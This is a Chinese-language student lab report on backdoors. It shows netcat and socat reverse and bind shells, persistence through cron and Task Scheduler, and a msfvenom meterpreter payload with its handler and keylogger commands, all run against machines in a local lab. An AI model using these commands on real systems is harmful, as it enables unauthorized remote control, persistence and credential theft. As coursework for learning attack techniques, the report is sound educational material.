- 1. 实践基础
- 1.1 什么是后门?
- 1.2 基础问题回答
- 2. 实践内容
- 2.1 使用netcat获取主机操作Shell,cron启动,包括
- 2.2 使用socat获取主机操作Shell, 任务计划启动
- 2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 3. 实验总结
- 4.1. 什么是漏洞?漏洞有什么危害?
- 4.1.1 什么是漏洞:
- 4.1.2 为什么会存在漏洞:
- 4.1.3 总结与体会
- 4.1. 什么是漏洞?漏洞有什么危害?
1. 实践基础
1.1 什么是后门?
后门就是不经过正常认证流程而访问系统的通道
哪里有后门呢?
- 编译器后门
- 操作系统后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中的伪装为特定应用的专用后门程序
狭义后门概念:
- 特指潜伏于操作系统中专门做后门的一个程序
- “坏人”可以连接这个程序
- 远程执行各种指令
- 概念和木马有重叠
1.2 基础问题回答
例举你能想到的一个后门进入你系统中的可能方式 |
1.随意点击网页链接浏览未知内容的网页
2.打开邮箱中未知邮件,无意进入其链接
3.随意在网上下载未经认证的软件
4.使用游戏外挂
例举你知道的后门如何启动起来(win和Linux)的方式 |
1.windows中启动应用程序时被启动
2.Linux中后台输入命令启动
Meterperter有哪些给你印象深刻的功能? |
可以在一个正常的可执行文件中添加反弹链接的代码,使得它成为一个后门
通过该软件可以调取被入侵主机的摄像头和音频输入设备,实现实时拍照,摄像和录音的功能,还能监听被入侵主机的键盘输入,获取其当前输入的内容,这就让我们想到盗取用户密码等...可怕的事情
如何发现自己有系统有没有被安装后门 |
1.通过杀毒软件的防护和扫描功能
2.不定时检查电脑中当前运行中的各种程序,发现异常进程立即关闭
2. 实践内容
2.1 使用netcat获取主机操作Shell,cron启动,包括
第一步:kali中是自带netcat软件的所以我们不需要下载就可以正常使用。而Windows系统中是没有该程序的,需要先下载才可以进行我们的实验。
可以在老师的码云附件中下载,无需安装解压即可使用。
注:由于控制需要通过网络,所以要首先保证攻击方主机和被攻击者主机网络是可连通的,由于实验是用虚拟机与物理机相互攻击,且两者使用同一网络,所以不存在该问题。
第二步:获取IP地址,Windows系统输入ipconfig
,Linux系统输入ifconfig
在此,我们先获得Windows网址:192.168.0.105
第三步:
输入ncat.exe -l -p <学号作为端口号>
使用ncat.exe程序监听本机的2327端口
第四步:
在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4322端口
输入nc
nc 192.168.0.105 2327 -e /bin/sh
成功获得kali的shell,如下图所示
第三步2:
输入nc -l -p 2327
,在Linux中监听端口
第四步2:
在Windows环境下,使用nc指令的-e选项反向连接Linux主机的4322端口
输入ncat.exe -e cmd.exe
ncat.exe -e cmd.exe 192.168.0.109 2327
成功获得Windows的shell,如下图所示
注:
netcat中参数
-l 代表开启监听
-p 指定端口
-e 发送一个指定应用程序
第五步:
cron是Linux下的定时任务,每分钟运行一次根据配置文件执行预设的指令。
具体步骤如下:
选择编辑器3
-
在最后一行添加
50* * * * /bin/netcat 192.168.0.105 2327 -e /bin/sh
(每小时的第50分钟反向连接Windows主机的2327端口,真的要等到x点50分!但是过了后还是会保留shell)
获得kali的文件目录
2.2 使用socat获取主机操作Shell, 任务计划启动
什么是socat:
-
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N
倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。 -
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
-
Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。
-
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。
第一步:
Win+R输入compmgmt.msc打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”
第三步:在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:2327exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口2327
在kali端输入:socat - tcp:192.168.0.105:2327
2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
第一步:使用msfvenom,生成20172327_backdoor.exe
文件(在kali端执行)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=2327 -f exe > 20172327_backdoor.exe
参数说明:
(1)-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
(2)-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
(3)-e 使用的编码器,用于对shellcode变形,为了免杀。
(4)-i 编码器的迭代次数。如上即使用该编码器编码5次。
(5)-b badchar是payload中需要去除的字符。
(6)LHOST 是反弹回连的IP
(7)LPORT 是回连的端口
(8)-f 生成文件的类型
(9)> 输出到哪个文件
第二步:将exe文件传送到windows端
- 在Windows下执行
ncat.exe -l 2327 > 20172327_backdoor.exe
,使被控主机进入接收文件模式 - 在kali中执行
nc 192.168.0.105 2327 < 20172327_backdoor.exe
,从下图可以看到文件已经传输成功了
第三步:MSF打开监听进程
输入如下操作:
-
msfconsole
后进行如下操作: -
use exploit/multi/handler
,设置payload -
set payload windows/meterpreter/reverse_tcp
-
set LHOST 192.168.0.109
,设置ip -
set LPORT 2327
,设置端口 -
exploit
,点击exe文件执行,可以看到已经获取到了Windows的shell,可以输入dir来验证(一定要先点一下20175229_backdoor.exe文件再进行exploit操作)(记得关闭kali和Windows的防火墙)
2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
第三步:击键记录:输入keyscan_start
开始记录,输入keyscan_dump
读取击键的记录
3. 实验总结
4.1. 什么是漏洞?漏洞有什么危害?
4.1.1 什么是漏洞:
漏洞即某个程序(包括操作系统)在设计时未考虑周全,当程序遇到一个看似合理,但实际无法处理的问题时,引发的不可预见的错误。系统漏洞又称安全缺陷,对用户造成的不良后果如下所述:
如漏洞被恶意用户利用,会造成信息泄漏,如黑客攻击网站即利用网络服务器操作系统的漏洞。
对用户操作造成不便,如不明原因的死机和丢失文件等。
4.1.2 为什么会存在漏洞:
漏洞的产生大致有三个原因,具体如下所述:
编程人员的人为因素,在程序编写过程,为实现不可告人的目的,在程序代码的隐蔽处保留后门。
受编程人员的能力、经验和当时安全技术所限,在程序中难免会有不足之处,轻则影响程序效率,重则导致非授权用户的权限提升。
由于硬件原因,使编程人员无法弥补硬件的漏洞,从而使硬件的问题通过软件表现。